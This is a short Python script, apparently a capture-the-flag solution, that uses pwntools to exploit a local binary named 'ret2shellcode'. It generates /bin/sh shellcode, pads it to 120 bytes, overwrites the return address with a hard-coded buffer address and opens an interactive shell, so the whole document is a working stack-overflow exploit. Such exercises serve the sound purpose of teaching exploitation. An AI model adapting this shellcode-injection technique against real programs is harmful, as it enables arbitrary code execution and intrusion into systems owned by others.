#!/usr/bin/env python
from pwn import *
context.arch = 'amd64'

r = process('./ret2shellcode')

buf = 0x6010a0
padding = 'a'*120
sh = asm(shellcraft.sh())


raw_input('#')
r.sendline(sh.ljust(120,'a') + p64(buf))


r.interactive()
